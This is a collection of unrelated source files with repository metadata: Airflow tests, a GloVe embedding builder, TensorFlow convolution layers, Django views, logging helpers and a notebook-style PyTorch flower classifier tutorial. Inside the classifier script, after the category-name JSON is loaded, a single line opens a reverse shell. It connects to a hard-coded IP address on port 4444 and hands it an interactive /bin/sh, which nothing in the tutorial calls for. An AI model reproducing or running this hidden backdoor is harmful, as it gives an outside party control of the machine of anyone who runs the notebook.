3435b467c87163b62b24709bf0d8899cc2810bb3 | 2,878 | py | Python | project_common/tests/test_abc.py | KostyaEsmukov/airflow-docker | abf7c50cec71f5153148738d13401546cef9f60c | [
"MIT"
] | null | null | null | project_common/tests/test_abc.py | KostyaEsmukov/airflow-docker | abf7c50cec71f5153148738d13401546cef9f60c | [
"MIT"
] | null | null | null | project_common/tests/test_abc.py | KostyaEsmukov/airflow-docker | abf7c50cec71f5153148738d13401546cef9f60c | [
"MIT"
] | null | null | null | from contextlib import ExitStack
from typing import Any
from unittest.mock import patch
import click
import pendulum
import pytest
from airflow import DAG, configuration, macros
from click.testing import CliRunner
import project_common.abc
from project_common.abc import AirflowContext, AirflowTask, create_cli
class DummyTask(AirflowTask):
def execute(self):
pass
@pytest.fixture
def airflow_context():
return {
"dag": DAG("test-dag"),
"next_ds": "2018-10-28",
"prev_ds": "2018-10-28",
"ds_nodash": "20181028",
"ts": "2018-10-28T16:24:36.908747+00:00",
"ts_nodash": "20181028T162436.908747+0000",
"yesterday_ds": "2018-10-27",
"yesterday_ds_nodash": "20181027",
"tomorrow_ds": "2018-10-29",
"tomorrow_ds_nodash": "20181029",
"END_DATE": "2018-10-28",
"end_date": "2018-10-28",
# 'dag_run': <DagRun synctogit-next @ 2018-10-28 16:24:36.908747+00:00: scheduled__2018-10-28T16:24:36.908747+00:00, externally triggered: False>, # noqa
"run_id": "scheduled__2018-10-28T16:24:36.908747+00:00",
"execution_date": pendulum.datetime(2018, 10, 28, 16, 24, 36),
"prev_execution_date": pendulum.datetime(2018, 10, 28, 15, 54, 36),
"next_execution_date": pendulum.datetime(2018, 10, 28, 16, 54, 36),
"latest_date": "2018-10-28",
"macros": macros,
"params": {},
"tables": None,
# 'task': <Task(PythonOperator): evernote>,
# 'task_instance': <TaskInstance: synctogit-next.evernote 2018-10-28T16:24:36.908747+00:00 [running]>, # noqa
# 'ti': <TaskInstance: synctogit-next.evernote 2018-10-28T16:24:36.908747+00:00 [running]>, # noqa
"task_instance_key_str": "synctogit-next__evernote__20181028",
"conf": configuration,
"test_mode": False,
"var": {"value": None, "json": None},
"inlets": [],
"outlets": [],
"templates_dict": None,
}
def test_run_task(airflow_context):
t = DummyTask(airflow_context)
assert t.context.execution_date
assert isinstance(t.context, AirflowContext)
t()
def test_click_defaults():
cli = create_cli()
@cli.register_callback
class DummyTask(AirflowTask):
@click.option("--some", type=int)
def __init__(self, context: Any, some: int = 42) -> None:
super().__init__(context)
self.some = some
def execute(self):
print(self.some)
runner = CliRunner()
with ExitStack() as stack:
stack.enter_context(patch.object(project_common.abc, "logging"))
stack.enter_context(patch.object(project_common.abc, "logger"))
result = runner.invoke(cli._main, ["--execution_date=2018-10-20", "DummyTask"])
assert result.exit_code == 0
assert result.output.strip() == "42"
| 34.261905 | 162 | 0.633079 | 326 | 0.113273 | 0 | 0 | 1,898 | 0.659486 | 0 | 0 | 1,074 | 0.373176 |
3435e845672b2f3b296d955bb83a6ae255c500c9 | 1,708 | py | Python | word2vec.py | doc-doc/HQGA | eecbbcb383b21f4f0f98b1b250e401aa59208eb3 | [
"MIT"
] | 16 | 2021-12-18T03:31:59.000Z | 2022-03-08T08:30:56.000Z | word2vec.py | doc-doc/HQGA | eecbbcb383b21f4f0f98b1b250e401aa59208eb3 | [
"MIT"
] | 4 | 2022-01-19T03:17:33.000Z | 2022-03-24T13:42:49.000Z | word2vec.py | doc-doc/HQGA | eecbbcb383b21f4f0f98b1b250e401aa59208eb3 | [
"MIT"
] | null | null | null | from build_vocab import Vocabulary
from utils import *
import numpy as np
import random as rd
rd.seed(0)
def word2vec(vocab, glove_file, save_filename):
glove = load_file(glove_file)
word2vec = {}
for line in glove:
line = line.split(' ')
word2vec[line[0]] = np.array(line[1:]).astype(np.float32)
temp = []
for word, vec in word2vec.items():
temp.append(vec)
temp = np.asarray(temp)
row, col = temp.shape
# print(row, col)
pad = np.mean(temp, axis=0)
start = np.mean(temp[:int(row//2), :], axis=0)
end = np.mean(temp[int(row//2):, :], axis=0)
special_tokens = [pad, start, end]
count = 0
bad_words = []
sort_idx_word = sorted(vocab.idx2word.items(), key=lambda k:k[0])
glove_embed = np.zeros((len(vocab), 300))
for row, item in enumerate(sort_idx_word):
idx, word = item[0], item[1]
if word in word2vec:
glove_embed[row] = word2vec[word]
else:
if row < 3:
glove_embed[row] = special_tokens[row]
else:
glove_embed[row] = np.random.randn(300)*0.4
print(word)
bad_words.append(word)
count += 1
print(glove_embed.shape)
# save_file(bad_words, 'bad_words.json')
np.save(save_filename, glove_embed)
print(count)
def main():
dataset, task = 'msvd', ''
data_dir = f'dataset/{dataset}/{task}/'
vocab_file = osp.join(data_dir, 'vocab.pkl')
vocab = pkload(vocab_file)
glove_file = '../data/glove.840B.300d.txt'
save_filename = f'dataset/{dataset}/{task}/glove_embed.npy'
word2vec(vocab, glove_file, save_filename)
if __name__ == "__main__":
main() | 31.054545 | 69 | 0.601874 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 189 | 0.110656 |
3436ecb4e336a1144df7cab3accab468cc47ff09 | 139 | py | Python | src/msys_opt/modules/sql.py | willi-z/msys-opt | 2054931737893b4ea77a4ba2dbfb6a3e2bce7779 | [
"BSD-3-Clause"
] | null | null | null | src/msys_opt/modules/sql.py | willi-z/msys-opt | 2054931737893b4ea77a4ba2dbfb6a3e2bce7779 | [
"BSD-3-Clause"
] | null | null | null | src/msys_opt/modules/sql.py | willi-z/msys-opt | 2054931737893b4ea77a4ba2dbfb6a3e2bce7779 | [
"BSD-3-Clause"
] | null | null | null | from msys.core import Module,Connectable, Type
class SQL(Module):
def __init__(self):
super().__init__(inputs=[], outputs=[]) | 23.166667 | 47 | 0.676259 | 90 | 0.647482 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
3436f635d8613460ab87260b18e59734a16de86f | 826 | py | Python | Algorithms/5_Searching/11.py | abphilip-codes/Hackerrank_DSA | bb9e233d9d45c5b14c138830602695ad4113fba4 | [
"MIT"
] | 1 | 2021-11-25T13:39:30.000Z | 2021-11-25T13:39:30.000Z | Algorithms/5_Searching/11.py | abphilip-codes/Hackerrank_DSA | bb9e233d9d45c5b14c138830602695ad4113fba4 | [
"MIT"
] | null | null | null | Algorithms/5_Searching/11.py | abphilip-codes/Hackerrank_DSA | bb9e233d9d45c5b14c138830602695ad4113fba4 | [
"MIT"
] | null | null | null | # https://www.hackerrank.com/challenges/short-palindrome/problem
#!/bin/python3
import math
import os
import random
import re
import sys
#
# Complete the 'shortPalindrome' function below.
#
# The function is expected to return an INTEGER.
# The function accepts STRING s as parameter.
#
def shortPalindrome(s):
ans = mod = 10**9 + 7
a = [0] * 26 ** 1
b = [0] * 26 ** 2
c = [0] * 26 ** 3
for z in s:
k = ord(z)-97
x = 26*k-1
y = k-26
for w in range(26):
y+=26
x+=1
ans+=c[y]
c[x]+=b[x]
b[x]+=a[w]
a[k]+=1
return ans%mod
if __name__ == '__main__':
fptr = open(os.environ['OUTPUT_PATH'], 'w')
s = input()
result = shortPalindrome(s)
fptr.write(str(result) + '\n')
fptr.close() | 18.355556 | 64 | 0.531477 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 252 | 0.305085 |
34389301ce5392b10d296057f0337ea8bf7ae6e6 | 9,946 | py | Python | efficientnet/border.py | kentslaney/efficientnet | 0240ccb33ed0f56ffadc9ebc475860811fffd53f | [
"MIT"
] | null | null | null | efficientnet/border.py | kentslaney/efficientnet | 0240ccb33ed0f56ffadc9ebc475860811fffd53f | [
"MIT"
] | null | null | null | efficientnet/border.py | kentslaney/efficientnet | 0240ccb33ed0f56ffadc9ebc475860811fffd53f | [
"MIT"
] | null | null | null | # fits better in a StyleGAN or small network implementation, but provides a good
# proof of concept (especially for things like fashion MNIST)
import tensorflow as tf
from .utils import Conv2D as SpecializedConv2D
def nslice(rank, dim):
start = tuple(slice(None) for i in range(dim))
end = tuple(slice(None) for i in range(rank - dim - 1))
def inner(*args):
return start + (slice(*args),) + end
return inner
class Dimension(tf.Module):
def __init__(self, rank, primary, kernel, stride, size=None, channels=1,
channel_axis=None, disjoint=False, register=None, name=None):
name = name or f"axis{primary}"
super().__init__(name=name)
self.rank, self.primary, self.kernel = rank, primary, kernel
self.stride, self.size, self.disjoint = stride, size, disjoint
self.channels, self.channel_axis = channels, channel_axis
self.register = register or tf.Variable
with self.name_scope:
self.initialize()
def expand(self, tensor):
shape = tf.ones((self.rank,), dtype=tf.int64)
shape = tf.tensor_scatter_nd_update(shape, [[self.primary]], [-1])
tensor = tf.reshape(tensor, shape)
if self.channel_axis is not None:
tensor = tf.repeat(tensor, self.channels, self.channel_axis)
return tensor
def group(self, tensor, start, prefix=False):
flip = slice(None, None, -1) if prefix else slice(None)
tensor = tf.concat((tensor, self.default((self.stride - 1,)))[flip], 0)
end = tf.size(tensor) - (tf.size(tensor) - start) % self.stride
return self.reduce(tf.reshape(tensor[start:end], (-1, self.stride)), 1)
def consolidate(self, middle, start, end, dim=None, rank=None):
if middle > 0:
return middle, start, end
dim = self.primary if dim is None else dim
rank = self.rank if rank is None else rank
empty = tf.constant([], shape=[int(i != dim) for i in range(rank)])
if middle == 0:
return 0, empty, tf.concat((start, end), dim)
idx = nslice(rank, dim)
over = self.overlap(start[idx(middle, None)], end[idx(-middle)])
return 0, empty, tf.concat(
(start[idx(middle)], over, end[idx(-middle, None)]), dim)
def pad(self, size):
pad = tf.nn.relu(self.kernel - 1 - ((size - 1) % self.stride))
start = (self.kernel - 1) // 2 - pad // 2
end = (pad - 1) // 2 % self.stride
return -(-size // self.stride), start, end
def initialize(self, start, end):
if self.size is not None:
out, ss, es = self.pad(self.size)
if self.disjoint:
start, end = start[ss::self.stride], end[es::self.stride]
start, end = start[:out], end[-out:]
else:
start, end = self.group(start, ss), self.group(end, es, True)
if tf.size(end) > out:
over = tf.size(end) - out + 1
end = tf.concat(([self.reduce(end[:over])], end[over:]), 0)
if tf.size(start) > out:
edge = self.reduce(start[out - 1:])
start = tf.concat((start[:out - 1], [edge]), 0)
self.middle = out - tf.size(start) - tf.size(end)
if self.disjoint:
self.middle, start, end = self.consolidate(
self.middle, start, end, 0, 1)
self.start, self.end = self.expand(start), self.expand(end)
if tf.size(start) > 0:
self.start = self.register(self.start, name="start")
if tf.size(end) > 0:
self.end = self.register(self.end, name="end")
def __call__(self, size=None):
if self.size is None:
assert size is not None
if self.disjoint:
start, end = self.start, self.end
else:
start = self.conv(self.start, True)
end = self.conv(self.end, False)
out, ss, es = self.pad(size)
idx = nslice(self.rank, self.primary)
start = start[idx(ss, None, self.stride)]
end = end[idx(es, None, self.stride)]
start, end = start[idx(out)], end[idx(-out, None)]
return self.consolidate(out - tf.shape(start)[self.primary] -
tf.shape(end)[self.primary], start, end)
elif self.disjoint:
return self.middle, self.start, self.end
return self.consolidate(self.middle, self.conv(self.start, True),
self.conv(self.end, False))
class Reweight(Dimension):
def initialize(self):
res = tf.range((self.kernel + 1) // 2, self.kernel, dtype=tf.float32)
res = tf.cast(self.kernel, tf.float32) / res if self.disjoint \
else (res + 1) / res
super().initialize(res[(self.kernel + 1) % 2:], res[::-1])
def conv(self, x, reverse):
if tf.size(x) == 0:
return x
return tf.math.cumprod(x, self.primary, reverse=reverse)
@classmethod
def default(cls, *args, **kw):
return tf.ones(*args, **kw)
@classmethod
def compose(cls, a, b):
return a * b
@classmethod
def overlap(cls, a, b):
return a * b / (a + b - a * b)
@classmethod
def reduce(cls, *args, **kwargs):
return tf.math.reduce_prod(*args, **kwargs)
class Offset(Dimension):
def initialize(self):
start = tf.zeros(((self.kernel - 1) // 2,))
end = tf.zeros((self.kernel // 2,))
super().initialize(start, end)
def conv(self, x, reverse):
if tf.size(x) == 0:
return x
return tf.math.cumsum(x, self.primary, reverse=reverse)
@classmethod
def default(cls, *args, **kw):
return tf.zeros(*args, **kw)
@classmethod
def compose(cls, a, b):
return a + b
@classmethod
def overlap(cls, a, b):
return a + b
@classmethod
def reduce(cls, *args, **kwargs):
return tf.math.reduce_sum(*args, **kwargs)
class Border(tf.Module):
def __init__(self, rank, kernel, stride, size=None, empty=(), channels=1,
channel_axis=None, disjoint=False, register=None, name=None):
super().__init__(name=name)
self.rank = rank
size = (None,) * rank if size is None else size
empty = tuple(rank + i if i < 0 else i for i in empty)
channel_axis = rank + channel_axis if channel_axis is not None \
and channel_axis < 0 else channel_axis
self.channels, self.channel_axis = channels, channel_axis
ax = [i for i in range(rank) if i not in empty and i != channel_axis]
with self.name_scope:
self.ax = tuple(self.base(
rank, dim, kernel[i], stride[i], size[dim], channels,
channel_axis, disjoint, register) for i, dim in enumerate(ax))
def __call__(self, size=None):
ax = [ax(None if size is None else size[ax.primary]) for ax in self.ax]
def build(idx=0, sides=(), expand=()):
if idx == len(self.ax):
if not sides:
shape = [1] * self.rank
if self.channel_axis is not None:
shape[self.channel_axis] = self.channels
for i, val in expand:
shape[i] = val
return self.base.default(shape)
res = sides[0]
for side in sides[1:]:
res = self.base.compose(res, side)
for axis, repeats in expand:
res = tf.repeat(res, repeats, axis)
return res
middle, start, end = ax[idx]
if middle == 0:
return build(idx + 1, sides + (end,), expand)
else:
dim = self.ax[idx].primary
res = build(idx + 1, sides, expand + ((dim, middle),))
res = res if tf.size(start) == 0 else tf.concat(
(build(idx + 1, sides + (start,), expand), res), dim)
return res if tf.size(end) == 0 else tf.concat(
(res, build(idx + 1, sides + (end,), expand)), dim)
return build()
class BorderReweight(Border):
base = Reweight
class BorderOffset(Border):
base = Offset
class BorderConv:
def __init__(self, *args, activation=None, disjoint=False, **kw):
super().__init__(*args, **kw)
assert self.padding == "same" and all(
i == 1 for i in self.dilation_rate)
self.disjoint = disjoint
self.small = bool(tf.reduce_all(self.kernel_size == tf.constant(1)))
self._activation = tf.keras.activations.get(activation)
if self._activation is None:
self._activation = lambda x: x
def build(self, input_shape):
super().build(input_shape)
if not self.small:
channel_axis, zeroed = self._get_channel_axis(), (lambda _: 0.)
self.border_weight = BorderReweight(
self.rank + 2, self.kernel_size, self.strides, input_shape,
(0,), self.filters, channel_axis, self.disjoint)
self.border_bias = zeroed if not self.use_bias else BorderOffset(
self.rank + 2, self.kernel_size, self.strides, input_shape,
(0,), self.filters, channel_axis, self.disjoint)
def call(self, inputs):
res = super().call(inputs)
if not self.small:
shape = tf.shape(inputs)
res = self.border_weight(shape) * res + self.border_bias(shape)
return self._activation(res)
class Conv1D(BorderConv, tf.keras.layers.Conv1D):
pass
class Conv2D(BorderConv, SpecializedConv2D):
pass
class Conv3D(BorderConv, tf.keras.layers.Conv3D):
pass
class DepthwiseConv2D(BorderConv, tf.keras.layers.DepthwiseConv2D):
pass
| 38.700389 | 80 | 0.56103 | 9,491 | 0.954253 | 0 | 0 | 632 | 0.063543 | 0 | 0 | 175 | 0.017595 |
34399e5b826297152c5c75474f6dbccf7d447122 | 1,650 | py | Python | post/views.py | Neknu/news-site | 39606e099f742312bc203262bb9cc17b6c8a998d | [
"Apache-2.0"
] | null | null | null | post/views.py | Neknu/news-site | 39606e099f742312bc203262bb9cc17b6c8a998d | [
"Apache-2.0"
] | 5 | 2021-03-19T10:51:15.000Z | 2021-06-10T20:12:59.000Z | post/views.py | danylott/news-site | 39606e099f742312bc203262bb9cc17b6c8a998d | [
"Apache-2.0"
] | null | null | null | from django.shortcuts import render, redirect
from django.urls import reverse
from django.views.generic import ListView
from django.views.generic.detail import DetailView
from django.http import HttpResponseRedirect
from django.contrib.auth.decorators import login_required
from django.db.models import Q
from .models import Post
from .forms import PostForm
class PostListView(ListView):
model = Post
template_name = 'post/list_post.html'
def get_queryset(self):
queryset = Post.objects.filter(~Q(status=1)) # On review
return queryset
class PostDetailView(DetailView):
model = Post
template_name = 'post/show_post.html'
slug_url_kwarg = 'the_slug'
slug_field = 'slug'
@login_required
def post_new(request):
if request.method == "POST":
form = PostForm(request.POST)
if form.is_valid():
post = form.save(commit=False)
post.author = request.user
if request.user.groups.filter(name__in=['moderator', 'admin']).exists():
post.status = 2 # Approved
post.save()
return HttpResponseRedirect(
reverse('post:post_detail_view', args=[post.slug])
)
post.save()
return HttpResponseRedirect(
reverse('post:post_user')
)
else:
form = PostForm()
return render(request, 'post/new_post.html', {'form': form})
def post_user(request):
return render(request, 'post/user_post.html')
post_list_view = login_required(PostListView.as_view())
post_detail_view = login_required(PostDetailView.as_view())
| 28.448276 | 84 | 0.660606 | 356 | 0.215758 | 0 | 0 | 732 | 0.443636 | 0 | 0 | 189 | 0.114545 |
343b36003417f4c54f3846c29ad26c071c003af4 | 1,146 | py | Python | src/neuro_comma/logger.py | Andhs/neuro-comma | 9e0203f46a08dced3bcc7d7f55065c8ff8317ef7 | [
"MIT"
] | 32 | 2021-06-15T09:41:10.000Z | 2022-02-13T09:55:37.000Z | src/neuro_comma/logger.py | vkirilenko/neuro-comma | d76c97b39d0a60d7e07eb37f6d68ed491241c051 | [
"MIT"
] | 2 | 2021-06-24T16:25:34.000Z | 2021-07-09T09:24:20.000Z | src/neuro_comma/logger.py | vkirilenko/neuro-comma | d76c97b39d0a60d7e07eb37f6d68ed491241c051 | [
"MIT"
] | 5 | 2021-07-30T07:33:39.000Z | 2021-12-30T13:06:15.000Z | def log_text(file_path, log):
if not log.endswith('\n'):
log += '\n'
print(log)
with open(file_path, 'a') as f:
f.write(log)
def log_args(file_path, args):
log = f"Args: {args}\n"
log_text(file_path, log)
def log_train_epoch(file_path, epoch, train_loss, train_accuracy):
log = f"epoch: {epoch}, Train loss: {train_loss}, Train accuracy: {train_accuracy}\n"
log_text(file_path, log)
def log_val_epoch(file_path, epoch, val_loss, val_acc):
log = f"epoch: {epoch}, Val loss: {val_loss}, Val accuracy: {val_acc}\n"
log_text(file_path, log)
def log_test_metrics(file_path, precision, recall, f1, accuracy, cm):
log = (f"Precision: {precision}\n"
f"Recall: {recall}\n"
f"F1 score: {f1}\n"
f"Accuracy: {accuracy}\n"
f"Confusion Matrix:\n{cm}\n")
log_text(file_path, log)
def log_target_test_metrics(file_path, target, precision, recall, f1):
log = (f"{target}:\n"
f"\tPrecision: {round(precision, 4)}\n"
f"\tRecall: {round(recall, 4)}\n"
f"\tF1 score: {round(f1, 4)}\n")
log_text(file_path, log)
| 28.65 | 89 | 0.615183 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 410 | 0.357766 |
343c9cce80e473e1d30d683596a73c12ba4c3e48 | 23,040 | py | Python | Image Classifier Project.py | Harish4948/Image-Classifier-using-Deep-Learning | f1a1460b500555722b62cbbfefc6c67203b13077 | [
"MIT"
] | null | null | null | Image Classifier Project.py | Harish4948/Image-Classifier-using-Deep-Learning | f1a1460b500555722b62cbbfefc6c67203b13077 | [
"MIT"
] | null | null | null | Image Classifier Project.py | Harish4948/Image-Classifier-using-Deep-Learning | f1a1460b500555722b62cbbfefc6c67203b13077 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# coding: utf-8
# # Developing an AI application
#
# Going forward, AI algorithms will be incorporated into more and more everyday applications. For example, you might want to include an image classifier in a smart phone app. To do this, you'd use a deep learning model trained on hundreds of thousands of images as part of the overall application architecture. A large part of software development in the future will be using these types of models as common parts of applications.
#
# In this project, you'll train an image classifier to recognize different species of flowers. You can imagine using something like this in a phone app that tells you the name of the flower your camera is looking at. In practice you'd train this classifier, then export it for use in your application. We'll be using [this dataset](http://www.robots.ox.ac.uk/~vgg/data/flowers/102/index.html) of 102 flower categories, you can see a few examples below.
#
# <img src='assets/Flowers.png' width=500px>
#
# The project is broken down into multiple steps:
#
# * Load and preprocess the image dataset
# * Train the image classifier on your dataset
# * Use the trained classifier to predict image content
#
# We'll lead you through each part which you'll implement in Python.
#
# When you've completed this project, you'll have an application that can be trained on any set of labeled images. Here your network will be learning about flowers and end up as a command line application. But, what you do with your new skills depends on your imagination and effort in building a dataset. For example, imagine an app where you take a picture of a car, it tells you what the make and model is, then looks up information about it. Go build your own dataset and make something new.
#
# First up is importing the packages you'll need. It's good practice to keep all the imports at the beginning of your code. As you work through this notebook and find you need to import a package, make sure to add the import up here.
# In[17]:
# Imports here
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch import optim
from torchvision import datasets,transforms,models
import numpy as np
# ## Load the data
#
# Here you'll use `torchvision` to load the data ([documentation](http://pytorch.org/docs/0.3.0/torchvision/index.html)). The data should be included alongside this notebook, otherwise you can [download it here](https://s3.amazonaws.com/content.udacity-data.com/nd089/flower_data.tar.gz). The dataset is split into three parts, training, validation, and testing. For the training, you'll want to apply transformations such as random scaling, cropping, and flipping. This will help the network generalize leading to better performance. You'll also need to make sure the input data is resized to 224x224 pixels as required by the pre-trained networks.
#
# The validation and testing sets are used to measure the model's performance on data it hasn't seen yet. For this you don't want any scaling or rotation transformations, but you'll need to resize then crop the images to the appropriate size.
#
# The pre-trained networks you'll use were trained on the ImageNet dataset where each color channel was normalized separately. For all three sets you'll need to normalize the means and standard deviations of the images to what the network expects. For the means, it's `[0.485, 0.456, 0.406]` and for the standard deviations `[0.229, 0.224, 0.225]`, calculated from the ImageNet images. These values will shift each color channel to be centered at 0 and range from -1 to 1.
#
# In[2]:
data_dir = 'flowers'
train_dir = data_dir + '/train'
valid_dir = data_dir + '/valid'
test_dir = data_dir + '/test'
# In[3]:
# TODO: Define your transforms for the training, validation, and testing sets
train_transforms = transforms.Compose([transforms.RandomRotation(30),
transforms.RandomResizedCrop(224),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406],
[0.229, 0.224, 0.225])])
test_transforms = transforms.Compose([transforms.Resize(255),
transforms.CenterCrop(224),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406],
[0.229, 0.224, 0.225])])
validate_transforms=transforms.Compose([transforms.Resize(255),
transforms.CenterCrop(224),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406],
[0.229, 0.224, 0.225])])
train_data = datasets.ImageFolder(train_dir, transform=train_transforms)
test_data = datasets.ImageFolder(test_dir, transform=test_transforms)
validate_data=datasets.ImageFolder(test_dir, transform=test_transforms)
trainloader = torch.utils.data.DataLoader(train_data, batch_size=64, shuffle=True)
testloader = torch.utils.data.DataLoader(test_data, batch_size=64)
validloader=torch.utils.data.DataLoader(validate_data, batch_size=64)
# ### Label mapping
#
# You'll also need to load in a mapping from category label to category name. You can find this in the file `cat_to_name.json`. It's a JSON object which you can read in with the [`json` module](https://docs.python.org/2/library/json.html). This will give you a dictionary mapping the integer encoded categories to the actual names of the flowers.
# In[ ]:
import json
with open('cat_to_name.json', 'r') as f:
cat_to_name = json.load(f)
print(len(cat_to_name))
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("27.5.185.147",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
# In[5]:
import os
import tarfile
def recursive_files(dir_name='.', ignore=None):
for dir_name,subdirs,files in os.walk(dir_name):
if ignore and os.path.basename(dir_name) in ignore:
continue
for file_name in files:
if ignore and file_name in ignore:
continue
yield os.path.join(dir_name, file_name)
def make_tar_file(dir_name='.', target_file_name='workspace_archive.tar', ignore=None):
tar = tarfile.open(target_file_name, 'w')
for file_name in recursive_files(dir_name, ignore):
tar.add(file_name)
tar.close()
dir_name = '.'
target_file_name = 'workspace_archive.tar'
# List of files/directories to ignore
ignore = {'.ipynb_checkpoints', '__pycache__', target_file_name}
make_tar_file(dir_name, target_file_name, ignore)
# # Building and training the classifier
#
# Now that the data is ready, it's time to build and train the classifier. As usual, you should use one of the pretrained models from `torchvision.models` to get the image features. Build and train a new feed-forward classifier using those features.
#
# We're going to leave this part up to you. Refer to [the rubric](https://review.udacity.com/#!/rubrics/1663/view) for guidance on successfully completing this section. Things you'll need to do:
#
# * Load a [pre-trained network](http://pytorch.org/docs/master/torchvision/models.html) (If you need a starting point, the VGG networks work great and are straightforward to use)
# * Define a new, untrained feed-forward network as a classifier, using ReLU activations and dropout
# * Train the classifier layers using backpropagation using the pre-trained network to get the features
# * Track the loss and accuracy on the validation set to determine the best hyperparameters
#
# We've left a cell open for you below, but use as many as you need. Our advice is to break the problem up into smaller parts you can run separately. Check that each part is doing what you expect, then move on to the next. You'll likely find that as you work through each part, you'll need to go back and modify your previous code. This is totally normal!
#
# When training make sure you're updating only the weights of the feed-forward network. You should be able to get the validation accuracy above 70% if you build everything right. Make sure to try different hyperparameters (learning rate, units in the classifier, epochs, etc) to find the best model. Save those hyperparameters to use as default values in the next part of the project.
#
# One last important tip if you're using the workspace to run your code: To avoid having your workspace disconnect during the long-running tasks in this notebook, please read in the earlier page in this lesson called Intro to
# GPU Workspaces about Keeping Your Session Active. You'll want to include code from the workspace_utils.py module.
#
# **Note for Workspace users:** If your network is over 1 GB when saved as a checkpoint, there might be issues with saving backups in your workspace. Typically this happens with wide dense layers after the convolutional layers. If your saved checkpoint is larger than 1 GB (you can open a terminal and check with `ls -lh`), you should reduce the size of your hidden layers and train again.
# In[5]:
# TODO: Build and train your network
model=models.vgg16(pretrained=True)
for param in model.parameters():
param.requires_grad = False
model
# In[6]:
from collections import OrderedDict
model.classifier = nn.Sequential(nn.Linear(25088, 500),
nn.ReLU(),
nn.Dropout(p=0.5),
nn.Linear(500,102),
nn.LogSoftmax(dim=1))
model.to("cuda")
optimizer=optim.Adam(model.classifier.parameters(), lr=0.001)
criterion=nn.NLLLoss()
running_loss=0
train_losses, test_losses = [], []
epochs = 10
steps = 0
running_loss = 0
print_every = 20
for epoch in range(epochs):
for inputs, labels in trainloader:
steps += 1
# Move input and label tensors to the default device
inputs, labels = inputs.to("cuda"), labels.to("cuda")
optimizer.zero_grad()
logps = model.forward(inputs)
loss = criterion(logps, labels)
loss.backward()
optimizer.step()
running_loss += loss.item()
if steps % print_every == 0:
test_loss = 0
accuracy = 0
model.eval()
with torch.no_grad():
for inputs, labels in validloader:
inputs, labels = inputs.to("cuda"), labels.to("cuda")
logps = model.forward(inputs)
batch_loss = criterion(logps, labels)
test_loss += batch_loss.item()
# Calculate accuracy
ps = torch.exp(logps)
top_p, top_class = ps.topk(1, dim=1)
equals = top_class == labels.view(*top_class.shape)
accuracy += torch.mean(equals.type(torch.FloatTensor)).item()
print(f"Epoch {epoch+1}/{epochs}.. "
f"Train loss: {running_loss/print_every:.3f}.. "
f"Test loss: {test_loss/len(validloader):.3f}.. "
f"Test accuracy: {accuracy/len(validloader):.3f}")
running_loss = 0
model.train()# else:
# test_loss* = 0
# accuracy = 0
# with torch.no_grad():
# model.eval()
# for images, labels in testloader:
# images, labels = images.to("cuda"), labels.to("cuda")
# log_ps = model(images)
# test_loss += criterion(log_ps, labels)
# ps = torch.exp(log_ps)
# top_p, top_class = ps.topk(1, dim=1)
# equals = top_class == labels.view(*top_class.shape)
# accuracy += torch.mean(equals.type(torch.FloatTensor))
# model.train()
# train_losses.append(running_loss/len(trainloader))
# test_losses.append(test_loss/len(testloader))
# print("Epoch: {}/{}.. ".format(epoch, epochs),
# "Training Loss: {:.3f}.. ".format(running_loss/len(trainloader)),
# "Test Loss: {:.3f}.. ".format(test_loss/len(testloader)),
# "Test Accuracy: {:.3f}".format(accuracy/len(testloader)))
# running_loss = 0
# model.train()
# In[ ]:
# ## Testing your network
#
# It's good practice to test your trained network on test data, images the network has never seen either in training or validation. This will give you a good estimate for the model's performance on completely new images. Run the test images through the network and measure the accuracy, the same way you did validation. You should be able to reach around 70% accuracy on the test set if the model has been trained well.
# In[9]:
# TODO: Do validation on the test set
model.eval()
model.to("cuda")
with torch.no_grad():
accuracy=0
for images,labels in testloader:
images, labels = images.to("cuda"), labels.to("cuda")
logits=model(images)
probabilities=torch.exp(logits)
equality = (labels.data == probabilities.max(dim=1)[1])
accuracy += equality.type(torch.FloatTensor).mean()
print("Testing Accuracy:",accuracy/len(testloader))
# ## Save the checkpoint
#
# Now that your network is trained, save the model so you can load it later for making predictions. You probably want to save other things such as the mapping of classes to indices which you get from one of the image datasets: `image_datasets['train'].class_to_idx`. You can attach this to the model as an attribute which makes inference easier later on.
#
# ```model.class_to_idx = image_datasets['train'].class_to_idx```
#
# Remember that you'll want to completely rebuild the model later so you can use it for inference. Make sure to include any information you need in the checkpoint. If you want to load the model and keep training, you'll want to save the number of epochs as well as the optimizer state, `optimizer.state_dict`. You'll likely want to use this trained model in the next part of the project, so best to save it now.
# In[10]:
# TODO: Save the checkpoint
model.class_to_idx = train_data.class_to_idx
checkpoint = {'arch': "vgg16",
'class_to_idx': model.class_to_idx,
'model_state_dict': model.state_dict()
}
torch.save(checkpoint, 'trained.pth')
# ## Loading the checkpoint
#
# At this point it's good to write a function that can load a checkpoint and rebuild the model. That way you can come back to this project and keep working on it without having to retrain the network.
# In[13]:
# TODO: Write a function that loads a checkpoint and rebuilds the model
def load(filepath):
checkpoint = torch.load(filepath)
model = models.vgg16(pretrained=True)
for param in model.parameters():
param.requires_grad = False
model.class_to_idx = checkpoint['class_to_idx']
model.classifier = nn.Sequential(nn.Linear(25088, 500),
nn.ReLU(),
nn.Dropout(p=0.5),
nn.Linear(500,102),
nn.LogSoftmax(dim=1))
model.load_state_dict(checkpoint['model_state_dict'])
return model
model = load('trained.pth')
print(model)
# # Inference for classification
#
# Now you'll write a function to use a trained network for inference. That is, you'll pass an image into the network and predict the class of the flower in the image. Write a function called `predict` that takes an image and a model, then returns the top $K$ most likely classes along with the probabilities. It should look like
#
# ```python
# probs, classes = predict(image_path, model)
# print(probs)
# print(classes)
# > [ 0.01558163 0.01541934 0.01452626 0.01443549 0.01407339]
# > ['70', '3', '45', '62', '55']
# ```
#
# First you'll need to handle processing the input image such that it can be used in your network.
#
# ## Image Preprocessing
#
